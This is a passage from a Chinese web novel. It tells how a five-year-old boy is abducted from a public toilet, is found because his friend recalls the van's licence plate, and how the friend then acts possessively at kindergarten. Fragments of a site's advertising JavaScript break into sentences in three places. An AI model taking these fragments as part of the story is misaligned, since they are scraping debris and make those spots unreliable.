徐知星很快就给他最好的朋友想出了合适的理由。 “可是路西鸣,我没有把你当猴。”徐知星又想起自己也经常像邱医生一样,问路西鸣很多类似的问题。 “我知道,你没有把我当猴。”路西鸣知道徐知星不会把他当猴,如果真要当猴,他也只当徐知星一个人的猴。 路西鸣停顿了下说:“那你不要把这件事告诉叔叔阿姨,也不能告诉其他人好不好?” “好。”徐知星超级认真地答应了。 “也不能告诉别人我记性好,什么都记得。”路西鸣潜意识察觉被人知道自己不寻常的记忆力并不是一件好事。 “路西鸣,我都不会说的。” 徐知星一一点头,突然神神秘秘道:“那这是我们的秘密对不对?” “对,我们的秘密。” “全世界只有我们两个人知道。” 14. 失踪 林芳自从请了长假后,除了在家带孩子就是寻思着做点小生意,时不时就想着能做些啥。 这天她坐在家属厂楼下织毛衣,徐知星和路西鸣在旁边蹭一楼邻居家的电视看西游记。 徐知星趁着电视放广告的功夫,跑到林芳身边问:“妈妈,什么是卷帘大将。” 林芳手上握着棒针,灵活地在毛线之间穿梭,一件毛衣的袖子就初步成形了,听到儿子的问题,回答说:“沙僧就是卷帘大将。” “卷帘是什么意思?”徐知星正是对万事万物好奇的年纪,说话时还咳嗽两声,这两天下雨有点风寒,林芳担心的不行,就怕哮喘又犯了。 尽管千防万防,但还是中了招,时不时就留着鼻涕,还咳咳咳的。 林芳从口袋里拿出一团皱巴巴的卫生纸,给徐知星擦了鼻涕说:“卷帘就是给皇帝掀门帘。” “卷帘大将就是一个掀门帘的大将军。” “好,我知道了!”徐知星得到答案,又风风火火地跑进屋里,“路西鸣,沙僧是掀门帘大将。” 林芳手上还握着半截擦鼻涕的纸,“还没擦干净你就跑。” 路西鸣正在小板凳上看电视,见徐知星兴冲冲地跑进来,还想用手擦鼻涕时,迅速起身抽出纸擦掉鼻涕,阻止了徐知星用手抹的冲动。 徐知星一会被妈妈擦鼻子,一会被路西鸣擦,揉了揉通红的鼻子说:“路西鸣,我要封你为擦鼻涕大将!” 路西鸣:“……” “谢主隆恩” “不客气。” “跪下谢恩吧。” 两人最近看宫廷剧比较多,时不时重复电视剧里的台词,有时候看到两个人在床上亲嘴,徐知星还非要问林芳和徐明军,他们在干什么啊? 后来每次快到这种情节了,林芳就要把两个小孩支走,让他们去做个什么别的事转移注意力。 路西鸣又用纸把徐知星鼻子擦了擦,然后将纸迅速扔掉。 他本来就洁癖,但是鉴于前车之鉴又不敢说徐知星脏,怕他哭。所以每次看见他有什么不干净的行为时,总是以迅雷不及掩耳之势制止了。 这样他心里舒服,徐知星也干净,还不会哭,两全其美。 他们俩在房间里看电视,林芳在外面和人聊起了开小卖部的事情。 “就实小前面一个红绿灯的小卖部,原来的老店主要去照顾孙子,以后不回来了。这个店就打算转出去,咱们接过来呗。”回到家后,林芳和徐明军商量起这件事。 “转让费多少啊?” “我七七八八算了下,家里的钱加上梁卓前段时间给的两万五,然后我再回我妈那拿点,差不多能够。” “对了,还有你上个项目的尾款不是结了吗?” “要实在不够,小莉那还有,她说不够找她。现在妞妞一时没有要花钱的地方。” 林芳算着账说:“反正不指望你爹和你大哥,他俩别找我家拿钱,我就谢天谢地了。” 提到徐家的那边亲戚,徐明军自觉低下头,“下次来找你,你别理他们。” “哦,我不理他们,他们就走了?你那么一大家子就指望你一个人?张口闭口就是要钱,这些年你爹哪次不是说生病这不舒服那不舒服,说要你给钱,转头就给了老大。当时读书的时候,怎么不找你?非说家里没钱,偏要供你哥一个人。” 林芳越说越来气,徐明军也知道他爹从小偏心大哥,结果养出没出息的一家,现在还要借着老头的名义从徐明军这拿钱。 “我现在没给我爸钱了,工资都在你这嘛。” 林芳冷哼一声,“你清楚就好,星星和西鸣的事都顾不上,你大哥的事我是不可能管的。” “好了,不说我家了,你这又扯远了,我们还是说小卖部的事。”徐明军分析说:“第一,如果你要接小卖部的话,厂里的事你咋办?” “我不去了呗,我觉得迟早要倒闭。我听梁卓说南区那边的厂,现在都要关门了。我们这边也是早晚的事,我主动提,说不定还能把前两个月工资要回来,等以后真不行了,别说两个月工资,屁都捞不着一个。” 徐明军同意这一点,“第二,我有点担心家里把现金都投进去了,万一有急事怎么办?” “有啥急事?我受不了你这磨磨唧唧的性格了,现在星星就有点随你了,你以后别把西鸣也给我带成这样了。”林芳性子急,一听徐明军瞻前顾后的语气就恼火,一把掀开被子就起身了。 “你去哪啊?”徐明军连忙问。 “算账啊,你也别睡了,赶紧给我起来!” 林芳打开灯,拿出账本,开始一笔笔算开小卖部要用的钱,徐明军陪在旁边,夫妻俩算着家里的这点账。 一墙之隔的徐知星缩在被子里小声说话,“路西鸣,你害不害怕?” “害怕什么?” “不和爸爸妈妈睡,你不害怕吗?” “不害怕,我从小就不和他们一起睡了。” “你这么厉害?我才不和爸爸妈妈一起睡。” 路西鸣艰难地转头问:“那你是不是害怕?” “我不害怕。”徐知星重复了好几遍,“我真的不害怕,我特别勇敢。” “路西鸣我一点都不害怕。” “嗯。”路西鸣整个人都被徐知星双手双脚禁锢住,如果没有被抱这么紧,那他可能真的会相信徐知星不害怕。 林芳和徐明军算账到半夜,合计一阵,还是决定把这个店盘下来。 其中最高兴的就是徐知星,因为他以后有吃不完的零食了。 转让手续很快就办下来了,两口子热火朝天地准备着自己的小生意,徐知星和路西鸣坐在小卖部前面,看着门口来来往往的顾客。 “妈妈,我们什么时候能吃饭啊?” 现在正值小学中午放学,高峰期就这十几二十分钟,好些小孩过来买东西,林芳忙不过来,于是道:“等你爸过来,带你们去吃饭啊。” 过了会徐明军就过来了,林芳生意人也少了,“走吧,星星,爸带你去吃饭。” “可是我想嘘嘘。”徐知星仰着头说。 徐明军看了眼,“前面有个公厕,爸爸带你去。” “西鸣要去吗?” 路西鸣摇摇头,“不去。” 徐知星回头说:“那你陪我一起。” “臭,我在外面等你。” “好吧。” “爸爸呢?” “我也嫌臭啊,你快点啊,爸爸和西鸣在外面等你。” 徐知星只好一个人去了公厕,路西鸣和徐明军则在门口等着。 这个公厕建在学校附近,平时来来往往有不少人,徐明军看着厕所门口进出的人,顺便问道:“西鸣,今天和星星玩什么了啊?” 路西鸣回忆说:“看电视,玩弹珠,搭积木。” 徐明军笑了下,从兜里掏出一包烟,“玩得还挺多。”只是想到什么,又把烟收回兜里,自言自语道:“算了,以后不抽了。” 两人在门口等了片刻,期间不断有人进出,但却没有看到徐知星出来。 徐明军奇怪地走进来,“怎么星星半天没出来?” 在他进去时,碰巧和一个拖着行李箱的驼背男人擦肩而过,路西鸣站在门口,见那男人上了一辆面包车,扬长而去。 “星星!” 听见徐明军着急呼唤的声音,路西鸣也连忙进去,但是两人将隔间都翻了个遍,也没有找到徐知星的影子。 公厕结构简单,除了门口没有其他任何出口,男厕内除了隔间就是小便池。 此时男厕内除了徐明军和路西鸣两个人,半个人都看不见。 徐明军脸色发白,急火攻心地冲出去,像路人打听着有没有看见一个小男孩跑出去。 但问了几个人都没见到。 路西鸣又不死心地将厕所找了一遍,确认到处都藏不下人后,开始疯狂回忆起从徐知星进卫生间后的没一个细节。 此时林芳也知道了徐知星失踪的事情,急得冷汗直冒,对着徐明军骂道:“徐明军,你为什么不陪他进去?” “要是星星有什么事,咱俩也别过了!” 徐明军哑口无言,看向路西鸣说:“西鸣,你确定你也没有看到星星出来吗?” 尽管问出这个问题时,徐明军自己都清楚答案,他一直在门口守着,公厕也只有这一个出口,他根本没看见徐知星出来。 路西鸣脑海中的记忆像是电影倒带般逐帧逐帧回忆, “西鸣,你想想,会不会知星跟着谁出来了?躲到哪里去了?”林芳眼眶通红,此刻央求地看向路西鸣,寄希望这个过目不忘的孩子能帮他找到徐知星有关的记忆。 路西鸣翻遍了记忆,再三确定他没有看到过徐知星出来,他就一直在门口,他想不到,只好将每个从男厕出来的人一一说出来。 “星星进去后,第一个出来的穿着西装,夹着公文包。”路西鸣语速极快地复 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 述道,“手上还拿着一支烟。” 林芳想起什么,突然问:“他有没有背包?” “或者带着能藏下一个小孩的东西?” “第二个人背了个双肩包。” “第三个人没有。” 路西鸣记忆复现到第六个人了,瞳孔微张,双手不自觉地抓住林芳的胳膊,“有个人拖了个很大的行李箱坐车走了。” “车牌号,南A72181。”路西鸣从来没有这么庆幸自己的好记性,连一口气都没喘,准确无误地复现出那个驼背男人所上的面包车。 “这个方向。”路西鸣把自己所有能想到的事情全部说了出来,希望能快点找到徐知星。 徐明军掏出手机赶紧报警,努力使自己的语调冷静,不那么发抖,“喂,警察同志,有人贩子拐走我五岁的儿子,车牌号是南A72181,藏在行李箱中。” “车是什么颜色?”徐明军将警察的问题复述一遍给路西鸣。 路西飞快说:“银色。” “什么车型?” 路西鸣无措道:“我……我不知道是什么车。” 就在这时,他指了指路边一辆面包车说:“和这个车很像。” 徐明军定睛一看,连忙握紧手机重复说:“银色面包车,南A72181,朝桥江路方向开走了。” “警察同志,我求求你了,我儿子就在车上,你们一定要救救他。”林芳此刻已经泣不成声。 与此同时徐明军已经借了街坊的车,朝桥江路的方向飞驰而去。 林芳将路西鸣托付给旁边的邻居,“西鸣,你在这和叔叔待着,阿姨等会来找你。” 路西鸣被暂时托付给旁边复印店的店主,站在门前,一个细节都不放过,努力回忆着所有细节。 前后才十多分钟的时间,徐知星就不翼而飞了。 他不见了。 路西鸣心底的恐慌无措翻涌而出,指甲陷入手中留出深深的划痕也毫无错觉。 他不知道等了多久,直到实验小学午休铃声响起,曼妙的音乐此刻落在路西鸣耳中格外刺耳。 复印店店主也来回踱步,叹气说:“也不知道林芳找到孩子没,都两小时了。” 路西鸣站在门口,毫无遮蔽,烈日直直照在他身上。店主是个四十出头的中年男人,期间喊路西鸣到店里等着,但他都无动于衷,目光低垂,自虐地回忆着所有的记忆细节,直到头都开始疼了。 这时,复印店的座机响起,店主一个健步地冲上前,语气中带着欣喜,“找到了啊?” “现在在医院?” 路西鸣闻声快步走到电话前,只是这一动他才察觉自己双腿都僵硬麻木了,一个没站稳摔在地上。 尽管如此,他还是着急地问道:“星星找到了?” “对对对,找到了,现在在医院,真是幸亏记住了车牌号,再晚一点就上高速了,到时候天南地北的谁找得到。”店主也是有孩子的人,此刻只觉感同身受。 听到星星找到了,路西鸣一颗心又重新落回肚子里,从地上爬了起来。 店主给他拍了拍身上的灰说:“晚点等徐知星在医院做个检查,你叔他们就来接你。别担心。” “好,谢谢叔叔。” 自从上次听见江琴说的话后,路西鸣见人有礼貌,没事就说谢谢,没少听到夸奖。 尽管他心里不爽很多次了,不过每次还是面带微笑地说谢谢。 但此刻他由衷地感谢这个好消息。 稍晚些时候,徐明军就过来把路西鸣接了回去,“叔叔,你下午不去工地了吗?” “不去了,找人帮忙盯着了。”徐明军现在还哪敢离开徐知星一步。 所有人都急得团团转,唯独徐知星毫无察觉。 “我去嘘嘘,没有位置,我就找了个隔间,然后有个叔叔和我说话,不知道为什么就睡着了。”徐知星回忆说:“我醒了妈妈就一直哭,为什么啊?” 路西鸣站在一旁,望着他肉嘟嘟的侧脸说道:“因为你丢了。” “啊,我什么时候丢了?”徐知星迷茫地问。 “你嘘嘘的时候丢的。” “那我以后嘘嘘的时候都会丢吗?” 路西鸣想起这件事就胆战心惊,“不会,有人陪你一起。” “哦。”徐知星拽了拽裤腰,苦恼地说:“那你想陪就陪吧,可是你能不能不要看我嘘嘘。” “你一直盯着我看,我尿不出来。” 15. 幼儿园 路西鸣闻言转过身,“好了吗?” 徐知星穿好裤子,“好啦!” 话音刚落,徐明军就在客厅里喊道:“星星,西鸣快出来,我们去给妈妈送饭。” 徐知星跑出来喊道:“送饭送饭!” 林芳那个小卖部虽然有个简单的后厨,但是刚开业,什么东西都还没收拾,这几天都还是徐明军从家里做好给她送去。 自打经过徐知星差点被拐走的事情,夫妻俩对这两个孩子都看的严,别说让他们单独去干啥了,就连从前两个人在家一起玩,大人不在家的情况都不敢有了。 这两个孩子一个都不能少,现在是走哪带哪,就差栓裤腰带上了。 徐明军关好门,徐知星着急地伸出手,想要去够饭盒,“我要拿,我要拿!” “你又拿不稳。” “我拿的稳!” 徐明军看了眼,将手上的两个饭盒分别放到路西鸣和徐知星手上,“行,一人拿一个吧。” 两小孩手上各拿了一个饭盒,徐明军手搭在他们两后颈的衣领上不敢松手,此时旁边有一个阿姨左右手分别牵着一条小狗走过去。 徐明军比对了下,没忍住笑出声,“都差不多嘛。” “什么差不多啊?”徐知星拿的是装菜的饭盒,本来还眼巴巴地望着里面的糖醋排骨,此刻被转移了注意力,又去追问,“什么差不多啊。” “没啥没啥。”徐明军打着马虎眼。 路西鸣端着饭盒,拆穿说:“叔叔说我们和刚才那两条狗差不多。” “爸爸是坏蛋,说我们是狗,我等会要跟妈妈说。” 徐知星高高举着饭盒,路西鸣也觉得徐明军这个比喻不好,也重复说:“等会要和阿姨说。” “千万别说,两个小祖宗。” “就要说,对不对,路西鸣?” “对。”路西鸣毫不留情地点点头。 “两个小兔崽子,还告我的状了。”徐明军一人赏了个脑瓜崩。 徐知星和路西鸣两个人捂着头跑到店里,上气不接下气,气都还没喘匀,徐知星就说:“妈妈,爸爸说我是狗。” 林芳正在点货,听到这话下意识想笑,但随即又抿上嘴,装得一本正经,“爸爸是坏蛋!” “对,他还说路西鸣是狗!”徐知星接着告状。 林芳这就有点生气了,瞪了徐明军一眼,徐明军立马举起双手投降,“我没说。” 林芳大手一挥,“你俩去看电视,你妈我要吃饭了。” 等两小孩坐到旁边专心看电视后,林芳才压低声音教训道:“你干嘛这样说西鸣?” “我真是冤枉。”徐明军坐在马扎上,支起小桌板,给林芳摆好饭菜,将刚才的事解释了下,“西鸣这孩子懂得可多了,我就说了个差不多,他就知道我在说她们两。” 林芳夹了筷青菜,改变从前的态度道:“我觉得没什么不好,孩子早熟一点而已也不是什么坏事。” “再说了,这次要是没有西鸣的好记性,星星能这么快找到吗?”林芳一想到这事都胆战心惊,心都凉了半截。 她有多担心徐知星,此刻就有多感激路西鸣,庆幸自己当时把路西鸣留在了身边养。 徐明军也真是吓坏了,纵使之前对路西鸣再有芥蒂,这次也都烟消云散了。 “对了,邱医生今天又给我打电话了,说想再研究下路西鸣这记忆怎么回事。” “你把今天的事跟邱医生说了?” “没啦,还没来得及。” 林芳严肃说:“那就别说了。” “怎么了?” “星星上次和我说他不喜欢邱医生。明明前段时间他还说邱医生给他大白兔糖,是大好人呢。突然说不喜欢了,这段时间他又没接触过邱医生,我想了下,很有可能是因为西鸣不喜欢邱医生,然后告诉星星了,所以星星才这样想。”林芳一番分析,“既然西鸣都不喜欢这个邱医生,先不说邱先生那个研究是什么,会不会对西鸣身体有什么危害,就算从小孩的角度来说,西鸣都不喜欢邱医生,干嘛还要把他送过去。” “这事就到此为止,以后别再提了。”现在在林芳心中,路西鸣的待遇已经基本和徐知星持平了,她像是老母亲护崽一样紧紧护着徐知星和路西鸣。 两人刚说话,一转头就发现两小孩站在小桌板前,目光齐齐都停在桌上那盘糖醋排骨上。 倘若说林芳还不算太了解路西鸣,但是她太了解自己儿子了,用筷子夹了块排骨递到徐知星嘴边。 “谢谢妈妈。”徐知星一口咬住排骨。 之后林芳换了双公筷,给路西鸣也夹了一个大小相同的排骨递到他嘴边,还不忘调侃说:“干净着呢,吃吧。” “谢谢阿姨。” 路西鸣答谢后也咬住排骨。 两人嘴里都鼓鼓囊囊地含着排骨,到一旁接着看孙悟空打妖精。 街道两旁的蝉声鸣叫一个夏天后渐渐消失,路西鸣和徐知星穿着一模一样卡通短袖站在幼儿园门口,依依不舍地和林芳告别。 “在幼儿园乖乖的啊,下午妈妈来接你们。”林芳长舒一口气,终于摆脱两个神兽了。 林芳是走了,徐知星眼角的泪水还没擦干净。 “路西鸣,我舍不得妈妈。” 路西鸣从口袋里掏出手帕给徐知星擦了擦眼泪,“下午就来接我们了。” 徐知星眨了眨眼,盯着路西鸣的小手帕。这是前两天林芳逛街给他俩买的,主要是给路西鸣,这孩子洁癖,白色的手帕上面印了个笑脸,徐知星也有一个,结果当天晚上就不知道丢到哪里去了。只有路西鸣很珍惜地带在身上。 徐知星盯着给自己擦眼泪的手帕,嘴角一撇,委屈地说:“你昨天晚上给我擦脚是不是也用的这个?” 路西鸣收回手帕,眼神看向别处,“阿姨早上洗了的。” “那也擦脚了。”徐知星不依不饶道。 路西鸣指了指天说:“有小鸟。” 徐知星也抬头望天,“哪有小鸟?” “飞走了。”路西鸣脸不红心不跳地说。 徐知星被转移了注意力,问道:“什么颜色的啊?” “灰色的。” “什么鸟啊?” “小鸟。” “小鸟是什么鸟?” “要吃早餐了,星星。”路西鸣听见老师的声音提醒说,没有回答这个问题。 幼儿园的老师正在拍手示意小朋友们看向她,“小朋友们我们排好队去吃饭啦。” 徐知星被这一打岔,又忘记刚才的事情了,站在队伍后面探着头向前看,“我们等会吃什么啊?” 路西鸣看向别的小朋友的餐盘说:“有小馒头,奶黄包,烧麦,还有鸡蛋,牛奶。” “我要吃牛奶小馒头,我要吃好多个。”徐知星夸张地说,“我要饿晕了。” “你一般只能吃两个。”路西鸣提醒说。 “不吃两个,吃二十个。” 路西鸣:“好吧。那你吃吧。” 队伍排到徐知星了,打饭的阿姨还没说话,徐知星就主动说:“阿姨,我要吃二十个小馒头。” 打饭的阿姨笑着说:“二十个吃不完。” 一旁的张老师也说:“星星,二十个太多了,你吃不完。” “吃得完。” “他要吃两个。”路西鸣对着阿姨修正说。 阿姨给徐知星的餐盘里装了两个小馒头,徐知星摇摇头,伸出两根手指:“二十个。” 张老师蹲下身对着徐知星说:“星星,我们一次次拿,二十个太重 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,你拿不了,等你吃完这两个,我们在拿来剩下好不好?” 徐知星想了下点点头,“好吧,那阿姨给我留着哦,我等会过来。” “好哦。”阿姨给徐知星的餐盘里又装了份牛奶和鸡蛋,“等会来拿。” “好!”徐知星雄赳赳气昂昂地答应。 相比之下路西鸣则显得理智许多,“一个馒头,一个烧麦,一个牛奶,一个鸡蛋。” 他们俩今年刚满五岁,都还属于幼儿园中班,教室内摆了两张黄色的长桌,小孩们聚集在餐桌旁吃着自己的早餐。 徐知星和路西鸣挨着坐在一起,徐知星旁边还做了个穿着白色雪纺衫,剪着妹妹头的小女孩。 从刚才开始,小女孩就一直盯着徐知星看。 “你干嘛看我?”徐知星扭头问道。 路西鸣闻言也扭过头,两人齐刷刷地看向旁边的小女孩。 “你真的能吃二十个小馒头吗?”小女孩歪着头问。 “我觉得我能。”徐知星骄傲地说。 路西鸣在一旁拆台:“实际上不能。” “我爸爸就能吃二十个小馒头,他特别能吃。”小女孩握着奶黄包说。 “那你家每次蒸多少个馒头啊?” “一百个吧。”小女孩认知中最大的数量。 “那你家蒸的比我多。” “因为我爸爸能吃啊。” “他能吃好多。” “你爸爸能吃多少啊?” “我不知道,估计也能吃二十个。” 徐知星和女孩一来一回,天马行空地聊着天,直到张老师走过来提醒说:“星星,涵涵快吃饭。吃完饭我们要去散步了。” 名叫涵涵的小女孩连忙把奶黄包往嘴里塞,期间还含糊不清地问:“你叫星星啊?” “对,我叫徐知星,你呢?”徐知星眼下只有两口牛奶就吃完了。 “我叫陈涵。”陈涵着急地吃着东西,旁边的小朋友都已经吃完,要准备去散步了。 “我吃不完了怎么办?你们都要走了。”陈涵边吃边着急。 “我等你一起。”徐知星捧着牛奶,剩下两口没有喝。 路西鸣已经吃完了,就在旁边安静地坐着。 张老师走过来看了眼说:“西鸣吃完啦,吃完了先去排队好不好?” “不好。”路西鸣动都没动。 徐知星插话说:“他要等我一起去。” “我要等涵涵。” “好哦,那你们慢慢吃。”张老师嘴角带着微笑。 所有的小朋友都吃完了,只有陈涵还在喝牛奶。两条长桌上只剩下徐知星,路西鸣,陈涵三个小朋友了。 终于等陈涵吃完后,三人站在队伍末端,排队去小操场散步。 陈涵打了个嗝说:“徐知星你真好,一直等我。” “路西鸣也等你了。”徐知星站在两个人中间,牵着路西鸣手说:“路西鸣也一直在等。” 陈涵也感激地看向路西鸣,“西鸣,谢谢你等我。” “我没有等你。” “我在等星星。”路西鸣诚实地回答。 陈涵眨巴眨巴眼,“那我收回谢谢。” “嗯。” 徐知星被夹在中间,茫然地摸了摸脑袋。吃完午饭后,就是上课时间,张老师今天教的是拍手歌。 “你拍一,我拍一,一个小孩穿花衣。” “你拍二,我拍二,两个小孩梳小辫。” 张老师唱了两遍后说:“小朋友,我们两个人一组跟着老师学好不好。” “好!”徐知星答应得最大声。 听到两人一组,路西鸣想也没想就牵起徐知星的手。 这时陈涵也走过来期待地问:“星星,我们一组好不好?” 16. 游戏 徐知星被路西鸣牵着手,又看了看陈涵,纠结地摸了摸脑袋。 这时张老师也注意到这里了,走上去说:“小朋友们分好组了吗?” “分好了。”路西鸣回答说。 张老师注意到徐知星和路西鸣牵着手,于是问:“涵涵你的小伙伴呢?” 陈涵瘪着嘴,委屈道:“我还没有小伙伴。” 徐知星见陈涵快要哭出来的样子,又扭头看看路西鸣,“西鸣……” 路西鸣头也不回地牵着徐知星走了,“老师在催我们了。” 张老师又给陈涵另找了个落单的小朋友,一个瘦得像小猴的小男孩魏乐光,陈涵有了小伙伴,这才又高兴起来。 拍手游戏结束后,徐知星坐回位子上。他今天穿了个白色的小熊的长袖,胸前缝了一个棕色的玩具熊脑袋,熊脑袋和衣服之间形成了一个半圆形的小口袋。 徐知星从口袋里拿出一颗喔喔奶糖递给陈涵说:“涵涵给你。” 路西鸣看了徐知星一眼,徐知星又从兜里拿出一颗奶糖递给路西鸣,“西鸣给你。” 陈涵本来还不高兴徐知星刚才分组不和自己一起,此刻握着奶糖又转悲为喜,“星星,谢谢你。” “不客气不客气。”徐知星摆摆手,嘴角咧开露出笑意。 很快张老师又进行了第二轮分组游戏。 陈涵这次率先就牵住了徐知星的手,“星星我们一组。” 路西鸣不乐意地说:“星星,我要和你一组。” “可是……”徐知星左右为难。 “徐知星,我要和你一组。”路西鸣又重复了一遍。 陈涵不服气地说:“刚才星星已经和你一组了,这次该我了。” “对不对?星星。” “你刚才已经和西鸣一组了,现在该我和你一组了。” 徐知星觉得陈涵说得有道理,“西鸣,我下次再和你一组。” 路西鸣落了空。 张老师本想给路西鸣再分一个小伙伴的,结果他直接了当说:“我不要。” 张老师脸上的笑容有些僵硬,“那老师和你一组好不好?” “不。” “我要和徐知星一组。” 张老师望向徐知星的方向,徐知星和陈涵已经开始玩拍手游戏了。 “可是星星已经和涵涵一组了,下一轮你们再一组好不好?” 路西鸣不说话,自己坐在板凳上,也不和其他人玩。 张老师无奈地说了半天,可是路西鸣都油盐不进,不和任何人玩。 陈涵注意到路西鸣这边的异样,“路西鸣为什么不和别人一组啊?” “我也不知道。”徐知星觉得和谁一组都行,大家都是朋友嘛。 刚才涵涵也和别人一组了啊。 他懵懂地看着路西鸣,想了下对着陈涵说:“涵涵,我们把路西鸣喊来一起玩好不好?” “可是这是两个人的游戏啊。” “老师也没说不能三个人一组啊。”徐知星迅速反应,找出了游戏的漏洞。 陈涵觉得徐知星说的也有道理,点头说:“那你去喊他吧。” 路西鸣一直注意着陈涵和徐知星,见徐知星朝自己过来,立刻站起问:“你是来找我一组的吗?” “对啊,我们和涵涵三个人一组。”徐知星迫不及待地告诉路西鸣自己这个聪明绝顶的点子。 路西鸣听到前半句还来不及高兴时,又听到后半句,立刻说:“不要,只有我们两个人一组。” 陈涵也听到了路西鸣的话,不高兴地说:“路西鸣,你是小气鬼!” “你只让星星跟你一个人玩,不想他和别人玩。” 路西鸣非常地赞同说:“对。” “你,你……” 陈涵你了半天也没说出来,一时哑声。 徐知星从来没碰到这种情况,不知所措地站在原地。 张老师也没想到开学第一天就有这种情况,此刻脸上努力保持微笑调节说:“西鸣,大家都是朋友,朋友就是要一起玩对不对?” “不对。” 张老师笑容顿时凝固在脸上,“……” “西鸣不觉得大家是朋友嘛?” “不是。”路西鸣不想在这继续这个话题了,牵着徐知星的手就想站到旁边去。 徐知星没有动,“西鸣,这样是不是不好?” “哪里不好?” “我们也要和其他小朋友玩啊。”徐知星指了指陈涵。 “我不想。” 陈涵走过来:“路西鸣是小气鬼,他不许你和别人玩就是小气鬼,对不对,星星?” 徐知星觉得陈涵说的有些道理,劝说道:“西鸣你不要小气,我们一起玩啊。” “我不想和别人玩,我只想和你玩。”路西鸣拉着徐知星的手不松。 徐知星左右为难,哭丧着脸,“大家不能一起玩吗?” “对啊,我都没有嫌弃你,你还嫌我。”陈涵叉着腰噘着嘴十分生气。 “可是我不想和别人玩,你如果想和别人玩我就在这等你,你去玩好了再来找我。”路西鸣松开手,坐在自己的小板凳上。 徐知星正在犹豫,已经被陈涵拉走了,“那我和星星走了,等会来找你啊。” “嗯。”路西鸣不发一言,只是安静地坐在自己的小板凳上。 徐知星和陈涵玩了一局拍手游戏后,见路西鸣还是孤零零的一个人,于是说道:“我们去找路西鸣玩好不好?” “可是他不想和我玩。” “我觉得他有点小气,他只想你是他一个人的朋友。”陈涵一针见血道。 徐知星搞不懂,像一休一样摸了摸自己的脑袋,但很可惜,他不能像聪明的一休那样,想出主意。 不止上课分组这样,课间玩游戏也如此。 如果徐知星和别的小朋友玩,路西鸣就不参与,只在旁边默默站着。除非徐知星不和别人玩,只和自己玩,他才高兴。 徐知星坐在长颈鹿跷跷板上对着路西鸣说:“西鸣,我觉得这样不好。” “哪里不好?”路西鸣坐在跷跷板另一端,不解地问。 “你为什么不和别人一起玩呢?” “我不喜欢他们。” “为什么不喜欢他们啊?”徐知星觉得幼儿园的小朋友们都很友善,还和他分享食物,带他一起玩。 “不喜欢就是不喜欢。” “你是不是只想我和你一个人玩,不和别人玩?” 路西鸣眼中流露出期待的光芒。 徐知星摇摇头拒绝了,“不行啊,我想和好多小朋友一起玩。” “如果我只想你和我玩呢?” “那你是小气鬼。” 路西鸣不说话了,沉默地玩着跷跷板。 直到下午林芳来接他们放学时,询问说:“星星,西鸣今天在幼儿园开心吗?” “开心!”徐知星率先回答,“我认识了好多小朋友,他们还给了我零食。” “这是涵涵给我的果冻,魏乐光给我的奶糖。”徐知星人缘好,性格好,不到一天就和好些小朋友玩到一起了。 林芳夸赞了几声,又问向沉默的路西鸣。 “西鸣呢?今天开心吗?” “不开心。” “怎么了?” 徐知星抢答说:“他不和别人玩。” “西鸣为什么不想和别人玩呢?是小朋友欺负你了吗?” “今天没有。” 之前有。 林芳还想再问,但是路西鸣就不说话了,她只好询问自己的儿子。 “路西鸣不想和他们玩,他也不想我和他们玩,路西鸣是个小气鬼。”徐知星今天受了路西鸣一天夹板气,心情也不高兴,在妈妈面前告状。 林芳脸上的笑容收起,训斥说:“不许说西鸣是小气鬼,没礼貌。” “哼。”徐知星更不高兴了,自顾自地向前走,嘴里还嘟囔道:“路西鸣小气鬼。” 就连晚上睡觉时,也背对着路西鸣睡,不愿意和之前一样面对面聊天。 路西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鸣在夜色中沉默地戳了戳徐知星的背。 “干嘛?”徐知星回头道。 路西鸣从枕头下拿出一个小面包,小心翼翼地递到徐知星面前,“吃吗?” “什么?”徐知星看不清,努力睁大眼凑近看了看。 “面包,还有果冻。”路西鸣掀开枕头,下面藏的都是零食。 林芳因为小气鬼的事,多说了徐知星几句,他就闹情绪不肯好好吃饭,此刻晚上肚子已经开始咕咕叫了。 “妈妈不是把零食收起来了吗?”徐知星坐起身子,眼睛却盯着零食,心里想着他还在和路西鸣生气了,嘴巴却没忍住舔了舔。 “偷偷藏的。”路西鸣压低声音说。 徐知星哼了一声,“那你不乖。” “是的。”路西鸣也不反驳,直接承认,“那你吃吗?” 徐知星眼巴巴地看着零食,“妈妈说晚上睡觉前不能吃零食。” “你不饿吗?你晚上都没有吃饱。” “那还不是因为你。” “都怪你,妈妈才说我。”徐知星恃宠而骄道。 “怪我,对不起。”路西鸣撕开一袋小面包,“你吃吧,别饿坏了。” “是你让我吃,我才吃的。”徐知星握着面包商量说,“妈妈要是说我,你要帮我。” “好,我帮你。” 徐知星这才放心,咬了一口,把面包递到路西鸣嘴边,“你也吃。” “这样我们俩都吃了,妈妈要骂一起骂,不能我一个人挨骂。” 路西鸣咬了一口面包,加入了偷吃零食同盟,同时还帮徐知星望风,听着外面的一举一动,免得被家长发现。 路西鸣盯着徐知星看了许久后,见他吃了一个面包,一个果冻后,开口说:“星星,我以后零食都给你。” “好!”徐知星毫不犹豫地答应了。 “那你……”路西鸣欲言又止,“那你能只和我玩吗?” “为什么啊?我们一起玩不好吗?” “我不想和别人玩,我也不想你和别人玩。” 别人会欺负他,还会抢走徐知星,可是他又不想让徐知星知道自己曾经受过欺负,这样一点都不勇敢,他不想让徐知星知道他懦弱的一面,他想让徐知星一直觉得他很厉害。 路西鸣不说理由,徐知星也想不通,只能把理由归咎为路西鸣是个小气鬼。 “那你就是小气鬼。” “我不是,我把所有的东西都给你。”路西鸣神情格外认真,“我不是小气鬼,我对你很大方,对你最大方。” “幼儿园的小朋友只愿意分你一颗糖,可是我会把我所有的糖都给你,没有人比我对你更大方了。” 徐知星觉得有点道理,“可是你不让我和别人玩。” 路西鸣:“……” “所以你不能不和别人玩对吗?” “对!”徐知星吃完最后一口零食,说话都格外硬气。 路西鸣垂下头,似乎很受伤的样子,“好吧。” “那我们睡觉吧。” “哦?”徐知星凑过头去看路西鸣,“你不高兴了?” “你生气了?” “不高兴,有点生气。”路西鸣躺在枕头上,声音都降了好几个调。 路西鸣也想不明白,为什么徐知星要和别人玩,为什么不能只和他一起玩,别人会抢徐知星的零食,他从来都不会。他会把所有的零食,所有的玩具都给徐知星。 